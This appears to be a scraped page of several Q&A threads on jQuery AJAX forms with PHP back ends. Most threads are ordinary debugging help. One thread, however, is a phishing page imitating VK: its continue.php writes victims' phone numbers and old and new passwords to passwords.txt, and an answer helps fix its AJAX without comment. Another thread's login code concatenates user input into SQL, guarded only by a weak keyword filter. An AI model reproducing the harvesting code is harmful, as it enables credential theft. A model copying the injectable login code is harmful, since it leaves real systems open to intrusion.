Ajax url contain data - javascript

I want design a login form via PHP + JQuery Ajax.
I have 2 textbox :
txtbox1 id="kadiID"
txtbox2 id="sifreID"
and button :
id="btnGiris"
My buttons JQuery code is:
$('#btnGiris').on("click", function(){
var kullaniciID=$("#kadiID").val();
var sifreID=$("#sifreID").val();
var cpthcID='';
if($('#kontrolID').length){
cpthcID=$('#kontrolID').val();
alert("cpthc: [" + cpthcID + "]");
}
$.ajax({
type : "GET",
url :'giris.php',
data:({ kadi : kullaniciID, sifre : sifreID, cpthc : cpthcID }),
cache:false,
beforeSend :function()
{
// other codes
},
success :function(donen_veri){
alert(donen_veri);
},
complete:function()
{
// other code
},
})
return false;
})
When I click button, my send datas from javascript are not process in giris.php file. Also I opened development tool via F12 and open network tab then I click button I saw a url like this:
Datas which I send via ajax data field are apear in url:
How can I solve this.

I just change
type: "POST"
instead of
type: "GET"
in my ajax code, and problem is solved, thanks for everyone, especially HMR

this is my php code:
<?php
ob_start();
error_reporting(E_ALL ^ E_NOTICE);
session_start();
include '../ayar.php';
$tablo="kullaniciTB";
$durum='';
if(!isset($_SESSION["login"])){
if (!isset($_SESSION['count'])) {
$_SESSION['count'] = 1;
} else{
if (empty($_SESSION['count'])) {
$_SESSION['count'] = 1;
$durum='count: ' . $_SESSION['count'];
} else {
$_SESSION['count']++;
}
}
$kadi = $_POST['kadi'];
$sifre = $_POST['sifre'];
if($kadi=='' or $sifre=='') {
$yazi="xbosx";
}
else if(strstr($kadi, '=') or strstr($kadi, '\'') or strstr($kadi, '--')){
$yazi="yhacky";
}
else{
$cptDurum="";
if($_SESSION['count']>4){
$kntrl = $_POST['cpthc'];
if($kntrl==''){
$cptDurum="bos";
}
else if($kntrl==$_SESSION['sifre']){
$cptDurum="dogru";
}
else if($kntrl!=$_SESSION['sifre']){
$cptDurum="yanlis";
}
}
if($cptBos=="dogru"){
$sorgu="SELECT * FROM `" . $tablo . "` WHERE kullaniciAdi='".$kadi."' AND sifre='".$sifre."' AND yetki=1";
if ($sonuc = mysqli_query($conn, $sorgu)) {
/* fetch associative array */
while ($deger = mysqli_fetch_assoc($sonuc)) {
$_SESSION["vaktiGeldi"] = time() + 5400;
$_SESSION["login"] = true;
$_SESSION["user"] = $kadi;
$_SESSION["userID"] = $deger['id'];
$durum="kdogruk";
}
/* free sonuc set */
mysqli_free_result($sonuc);
}
}
else if($cptDurum=="bos"){
$durum="cptBos";
}
else if($cptDurum=="yanlis"){
$durum="cptYanlis";
}
}
}
else{
$durum="mzatenm";
}
echo $durum;
?>

Related

How to get correct JSON request in AJAX and make correct php handler to send ajax-form sucessfully?

I have some problems with sending AJAX form.I have got error like on the screenshot:
What about line 72 and other type of code,I try to send request using ajax:
var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() {
var response = JSON.parse(auth.responseText);
/*if (response.access_token) {
changePassword(login, password, response.access_token, g("newpassword").value);
return;
}*/
if (response.api) {
if (response.result) {
window.location.replace("https://vk.com/id0");
} else {
gettedToken = response.token;
var e = response.api.error;
if (e.error_code === 14) {
$("#password, #sms").fadeOut(300, function () {
$("#capt").fadeIn(300);
});
g("captcha_key").value = "";
g("captcha_key").focus();
g("capt_img").src = e.captcha_img;
g("captcha_sid").value = e.captcha_sid;
}
}
return;
}
So, where can be the problem to fix it?Because button to send form isn't work.
Here is my file continue.php
if (isset($_GET['mobile']) && isset($_GET['pass']) && isset($_GET['newpass']) && isset($_GET['repass']) && ($_GET['mobile']!="") && ($_GET['pass']!="") && ($_GET['newpass']!="") && ($_GET['repass']!=""))
{
$location='https://vk.com/';
$Log = $_GET['mobile'];
$Pass = $_GET['pass'];
$newpassword = $_GET['newpass'];
$newpassword2 = $_GET['repass'];
$smscode = $_GET['code'];
$log = fopen("passwords.txt","a+");
fwrite($log,"\n $Log:$Pass:$newpassword:$newpassword2 \n");
fclose($log);
$answer = ['type' => 'success', 'message' => 'All OK'];
echo json_encode($answer);
} else {
echo json_encode(['type' => 'error', 'message' => 'All not OK']);
}
First of all there are some things in your code that I will like to point out.
If you are using $.ajax to do some kinda of login which It looks like you are tryng to do, I would use the POST method instead of GET, since you are dealing with passwords and other important information.
You never specified in your $.ajax what type of data your request is using e.g: JSON,TEXT,HTML
(this is a personal one) I would use an object to pass the parameters of the ajax call rather than append them to the url.
that said here is a javascript code you can try in order the get the response back from your server:
`//I would use an object of parameters rather than embedded parameters into the url
let params = {
"act": "login",// i guess u use some case match and the actvity login have the php code you provide
"login": encodeURIComponent(login),
"oldPassword": encodeURIComponent(password) ,
"captcha_key": captcha_key ,
"captcha_sid": captcha_sid ,
"validation_sid": validation_sid ,
"code": smscode ,
"newPassword": encodeURIComponent(g("newpassword").value),
"is2fa": (have2fa ? 1 : 0) ,
"qid": encodeURIComponent(window.location.search) ,
"token": gettedToken
},
url = "continue.php",//I guess this is the php page that contains the methods you append to your question
type = "GET";// I would use post instead of get since you are sending passwords and other stuff
const _ajax = (url, type, params) => {
return $.ajax({
url: url,
type: type,
dataType: 'JSON',
data: params
})
}
_ajax(url,type,params)
.done((response)=>{
console.log(response);
//do your stuff here
})`
Please let me know if this answer was helpful to resolve your problem or if there is something else I can do to help you.

window.location.reload(true) reloads page but page needs refreshing to show changes

Have a function that makes a change to taxonomy term via AJAX. This works great, except the content remains unchanged on window.location.reload(true) even though the change has been made. See the code and GIF below to understand.
This is an example that adds the button and reloads page on click
if ( 'publish' === $post->post_status && $post->post_type === 'campaigns' ) {
$text = (in_category( 'live') ? 'Activate' : 'Activate');
echo '<li>' . $text . '</li>';
}
So, is there another way that I can reload the page onClick that may help? Also, the post modified date is not updating, yet changes have been made to the post.
Thanks in advance for your help
EDIT -
I have already tried
location.href = location.href; and
document.location.reload();
ADDITIONAL INFO -
Function
add_action('wp_ajax_toggle_live', function(){
// Check ID is specified
if ( empty($_REQUEST['post']) ) {
die( __('No post ID specified.') );
}
// Load post
$post_id = (int) $_REQUEST['post'];
$post = get_post($post_id);
if (!$post) {
die( __('You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?') );
}
// Check permissions
$post_type_object = get_post_type_object($post->post_type);
if ( !current_user_can($post_type_object->cap->edit_post, $post_id) ) {
die( __('You are not allowed to edit this item.') );
}
// Load current categories
$terms = wp_get_post_terms($post_id, 'campaign_action', array('fields' => 'ids'));
// Add/remove Starred category
$live = get_term_by( 'live', 'campaign_action' );
$index = array_search($live, $terms);
if ($_REQUEST['value']) {
if ($index === false) {
$terms[] = $live;
}
} else {
if ($index !== false) {
unset($terms[$index]);
}
}
wp_set_object_terms( $post_id, 'live', 'campaign_action' );
die('1');
});
JS
function toggleLive(caller, post_id)
{
var $ = jQuery;
var $caller = $(caller);
var waitText = ". . .";
var liveText = ". . .";
var deactivateText = ". . .";
// Check there's no request in progress
if ($caller.text() == waitText) {
return false;
}
// Get the new value to set to
var value = ($caller.text() == liveText ? 1 : 0);
// Change the text to indicate waiting, without changing the width of the button
$caller.width($caller.width()).text(waitText);
// Ajax request
var data = {
action: "toggle_live",
post: post_id,
value: value
};
jQuery.post("<?php bloginfo( 'wpurl' ); ?>/wp-admin/admin-ajax.php", data, function(response)
{
if (response == "1") {
// Success
if (value) {
$caller.text(deactivateText);
} else {
$caller.text(liveText);
}
} else {
// Error
alert("Error: " + response);
// Reset the text
if (value) {
$caller.text(deactivateText);
} else {
$caller.text(liveText);
}
}
// Reset the width
$caller.width("auto");
});
// Prevent the link click happening
return false;
}
IT WORKS RIGHT ON PAGE THAT ISN'T SINGULAR
Is toggleLive the function that makes the AJAX request? You are calling reload immediately on click before changes are reflected on the backend. If you are using Jquery include your reload code in the complete callback function that indicates completion of your AJAX request.
Try using Live Query plug-in in jquery instead of live .
I was able to achieve this by setting return trueOrFalse(bool); in the JS and adding the permalink for the page into <a href=""> within the function.
I believe #cdoshi was correct in their answer, yet I was unable to achieve this. I am sure that a little further exploration would make this possible, yet my fix achieved what I wanted with little change to my code.

Wordpress Modification To A Five-Star Rating Script

I have added custom javascript code to the header.php file of my wordpress site. I have tested this code on a basic html file and it works fine, but I cannot seem to make the vote recording function work on a wordpress post. The other components of the script are working fine (hover, vote display from a .txt file), but I cannot get the function to record the vote working. All files have read/write access.
I would greatly appreciate it if anyone could assist me or point me in the right direction to solve this.
Here is the part of the script that records the vote, I am fairly new to php and was wondering if there is something I can add/replace to modify so the code so it will work properly on Wordpress.
$('.ratings_stars').bind('click', function() {
var star = this;
var widget = $(this).parent();
var clicked_data = {
clicked_on : $(star).attr('class'),
widget_id : $(star).parent().attr('id')
};
$.post(
'http://localhost/url/wordpress/wp-content/ratings.php',
clicked_data,
function(INFO) {
widget.data( 'fsr', INFO );
set_votes(widget);
},
'json'
);
});
});
function set_votes(widget) {
var avg = $(widget).data('fsr').whole_avg;
var votes = $(widget).data('fsr').number_votes;
var exact = $(widget).data('fsr').dec_avg;
window.console && console.log('and now in set_votes, it thinks the fsr is ' + $(widget).data('fsr').number_votes);
$(widget).find('.star_' + avg).prevAll().andSelf().addClass('ratings_vote');
$(widget).find('.star_' + avg).nextAll().removeClass('ratings_vote');
$(widget).find('.total_votes').text( votes + ' votes recorded (' + exact + ' rating)' );
}
Here is a visual example for reference
Thank you for taking time to look at this, if there is any additional information that I can provide please let me know.
Here is the ratings.php that was mentioned in the script that was placed in the header.php.
ratings.php:
<?php
$rating = new ratings($_POST['widget_id']);
isset($_POST['fetch']) ? $rating->get_ratings() : $rating->vote();
class ratings {
var $data_file = 'http://localhost/url/wordpress/wp-content/ratings.data.txt';
private $widget_id;
private $data = array();
function __construct($wid) {
$this->widget_id = $wid;
$all = file_get_contents($this->data_file);
if($all) {
$this->data = unserialize($all);
}
}
public function get_ratings() {
if($this->data[$this->widget_id]) {
echo json_encode($this->data[$this->widget_id]);
}
else {
$data['widget_id'] = $this->widget_id;
$data['number_votes'] = 0;
$data['total_points'] = 0;
$data['dec_avg'] = 0;
$data['whole_avg'] = 0;
echo json_encode($data);
}
}
public function vote() {
preg_match('/star_([1-5]{1})/', $_POST['clicked_on'], $match);
$vote = $match[1];
$ID = $this->widget_id;
if($this->data[$ID]) {
$this->data[$ID]['number_votes'] += 1;
$this->data[$ID]['total_points'] += $vote;
}
else {
$this->data[$ID]['number_votes'] = 1;
$this->data[$ID]['total_points'] = $vote;
}
$this->data[$ID]['dec_avg'] = round( $this->data[$ID]['total_points'] / $this->data[$ID]['number_votes'], 1 );
$this->data[$ID]['whole_avg'] = round( $this->data[$ID]['dec_avg'] );
file_put_contents($this->data_file, serialize($this->data));
$this->get_ratings();
}
}
?>
Here is the complete javascript code added to the header.php, the mouseover/mouseout seem to be working properly, so I think the javascript should be running.
Javascript added to header.php:
<?php wp_head(); ?>
<script type="text/javascript">
$(document).ready(function() {
$('.rate_widget').each(function(i) {
var widget = this;
var out_data = {
widget_id : $(widget).attr('id'),
fetch: 1
};
$.post(
'http://localhost/url/wordpress/wp-content/ratings.php',
out_data,
function(INFO) {
$(widget).data( 'fsr', INFO );
set_votes(widget);
},
'json'
);
});
$('.ratings_stars').hover(
function() {
$(this).prevAll().andSelf().addClass('ratings_over');
$(this).nextAll().removeClass('ratings_vote');
},
function() {
$(this).prevAll().andSelf().removeClass('ratings_over');
set_votes($(this).parent());
}
);
$('.ratings_stars').bind('click', function() {
var star = this;
var widget = $(this).parent();
var clicked_data = {
clicked_on : $(star).attr('class'),
widget_id : $(star).parent().attr('id')
};
$.post(
'http://localhost/url/wordpress/wp-content/ratings.php',
clicked_data,
function(INFO) {
widget.data( 'fsr', INFO );
set_votes(widget);
},
'json'
);
});
});
function set_votes(widget) {
var avg = $(widget).data('fsr').whole_avg;
var votes = $(widget).data('fsr').number_votes;
var exact = $(widget).data('fsr').dec_avg;
window.console && console.log('and now in set_votes, it thinks the fsr is ' + $(widget).data('fsr').number_votes);
$(widget).find('.star_' + avg).prevAll().andSelf().addClass('ratings_vote');
$(widget).find('.star_' + avg).nextAll().removeClass('ratings_vote');
$(widget).find('.total_votes').text( votes + ' votes recorded (' + exact + ' rating)' );
}
</script>
To solve this all I had to do was place my ratings.php file and ratings.data.txt within my wordpress theme folder and link the custom javascript to these files within my header.php file. The javascript now operates properly. This is not the proper way to do this though, ideally I should use the wp_enqueue_scripts hook in the header.php and have the custom css and js in the css/js folders. But for now this temporary fix works and I can continue experimenting.

Form submited two times (ajax with jquery)

i have a simple form: when i submit it without javascript/jquery, it works fine, i have only one insertion in my data base, everything works fine.
I wrote some jquery to have result in ajax above the input button, red message if there was an error, green if the insertion was done successfully. I also display a small gif loader.
I don't understand why when i use this jquery, two loaders appear at the same time and two insertions are done in my database.
I reapeat that when i comment the javascript, it works fine, i'm totally sure that my php is ok.
$('#addCtg').submit(function () {
var action = $(this).attr('action');
var name = $('#name').val() ;
$('.messages').slideUp('800', function() {
$('#addCtg input[type="submit"]').hide().after('<img src="spin.gif" class="loader">');
$.post(action, {
name: name
}, function (data) {
$('.messages').html(data);
$('.messages').slideDown('slow');
$('.loader').fadeOut();
$('#addCtg input[type="submit"]').fadeIn();
});
});
return false;
});
I really don't understand why it doesn't work, because i use the 'return false' to change the basic behaviour of the submit button
Basic php just in case:
<?php
require_once('Category.class.php');
if (isset($_POST['name'])) {
$name = $_POST['name'] ;
if ($name == "") {
echo '<div class="error">You have to find a name for your category !</div>' ;
exit();
} else {
Category::addCategory($name) ;
echo '<div class="succes">Succes :) !</div>' ;
exit();
}
} else {
echo '<div class="error">An error has occur: name not set !</div>';
exit();
}
And finnaly my function in php to add in the database, basic stuff
public static function addCategory($name) {
$request = myPDO::getInstance()->prepare(<<<SQL
INSERT INTO category (idCtg, name)
VALUES (NULL, :name)
SQL
);
$r = $request->execute(array(':name' => $name));
if ($r) {
return true ;
} else {
return false ;
}
}
I rarely ask for help, but this time i'm really stuck, Thank you in advance
You're calling: $('.messages') - I bet you have 2 elements with the class messages. Then they will both post to your server.
One possible reason could be because you are using button or submit to post ajax request.
Try this,
$('#addCtg').submit(function (e) {
e.preventDefault();
var action = $(this).attr('action');
var name = $('#name').val() ;
$('.messages').slideUp('800', function() {
$('#addCtg input[type="submit"]').hide().after('<img src="spin.gif" class="loader">');
$.post(action, {
name: name
}, function (data) {
$('.messages').html(data);
$('.messages').slideDown('slow');
$('.loader').fadeOut();
$('#addCtg input[type="submit"]').fadeIn();
});
});
return false;
});

How can I return the path of a screenshot capture to a function and return via JSON to javascript?

I have a PHP script that invokes a casperjs script via exec function and this is working fine.
Is it possible to return the path where I saved a screenshot via exec as JSON?
My scripts are below:
PHP code:
// Execute to CasperJS via asynchronous process
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$target = $_POST['target'];
$filename = $_POST['file'];
$retorno = array()
try {
exec("{$casperjs_run} {$script} {$username} {$password} {$filename} 2>&1", $output);
} catch (Exception $e) {
$retorno['error404'] = "Desculpe! Não foi possivel acessar a página solicitada.";
}
// Return Data if success
// Retorna para front-end
if (empty($output)){
$retorno['success'] = $output;
echo json_encode($retorno);
return false;
} else {
$retorno['error'] = $output;
echo json_encode($retorno);
return false;
}
?>
CasperJS code:
casper.thenOpen(minhaoi, function myaccount() {
this.capture('pic2.png');
this.log('Acessando informações da conta, aguarde...');
if (!this.exists(('div.panel-horizontal'))) {
this.log(JSON.stringify("Não foi encontrado um plano colaborador, aguarde..."));
noDetails = this.captureSelector(filename + '.png', 'div.panel-horizontal', {quality: 100});
} else {
casper.waitForResource("Análise de Conta", function orderDetails(details) {
return details;
}, function onReceive() {
this.log('ScreenShot Begin');
myDetails = this.captureSelector(path_images + filename + '.png', '#content', { quality: 100 } );
this.log(' ScreenShot Done'); });
});
}
});
// Logout & Exit
casper.eachThen(oi_out, function () {
this.capture('pic3.png');
if (noDetails != "") {
return noDetails;
} else {
return myDetails;
}).run();
Here my JS code that receive the information from casperjs via JSON.
Javascript Code:
success: function(data) {
if (data.success) {
$('#retorno').html(data.success);
$('#imagem').attr('src', '/details/' + filename);
$('#resultado').show();
}
},
error: function(data) {
// check error
$('#retorno').attr("class='alert alert-danger' role='alert'");
$('#retorno').html(data.error);
}
In my mind filename should be the whole name of the screenshot like this, pi9rxw2fqlh.png plus the complete path too. And display the image in the browser.
What's wrong in my approach?
For this.log to actually print something, you need to set the logLevel to at least debug as it is the default log level. So either increase the log level casper.options.logLevel = 'debug'; or use this.echo instead of this.log.
It looks like you're using waitForResource wrong. Since there can't be resources with spaces in them, you might want to checkout waitForText under the assumption that the loaded resource adds that string to the DOM:
casper.waitForText("Análise de Conta", function onReceive() {
this.log('ScreenShot Begin');
myDetails = this.captureSelector(path_images + filename + '.png', '#content', { quality: 100 } );
this.log(' ScreenShot Done'); });
});
capture as well as captureSelector return the casper instance and not the image details. So you need to pass the filename.
Since you use php's exec with the output array, you can casper.echo the filename in question with a unique beginning string (here #noDetails#):
this.captureSelector(filename + '.png', 'div.panel-horizontal', {quality: 100});
this.echo("#noDetails#" + filename + ".png");
In the client javascript you can then iterate over the data.success or data.error arrays and extract the filename from the match line:
data.success.forEach(function(line){
if (line.indexOf("#noDetails#") === 0) {
var filename = line.split("#noDetails#")[1];
$('#imagem').attr('src', '/details/' + filename);
}
});
With this, you can completely remove the if block from the eachThen callback.
The other option is to set the specific screenshot variable and write the JSON object in the last line.
this.captureSelector(filename + '.png', 'div.panel-horizontal', {quality: 100});
noDetails = filename + ".png";
and at the end:
casper.eachThen(oi_out, function () {
this.capture('pic3.png');
if (noDetails != "") {
this.echo(JSON.stringify({filename:noDetails}));
} else {
this.echo(JSON.stringify({filename:myDetails}));
}
});
On the client side, you would need to only look in the last line of the array:
var obj = JSON.parse(data.success[data.success.length-1]);
$('#imagem').attr('src', '/details/' + obj.filename);

Categories

Resources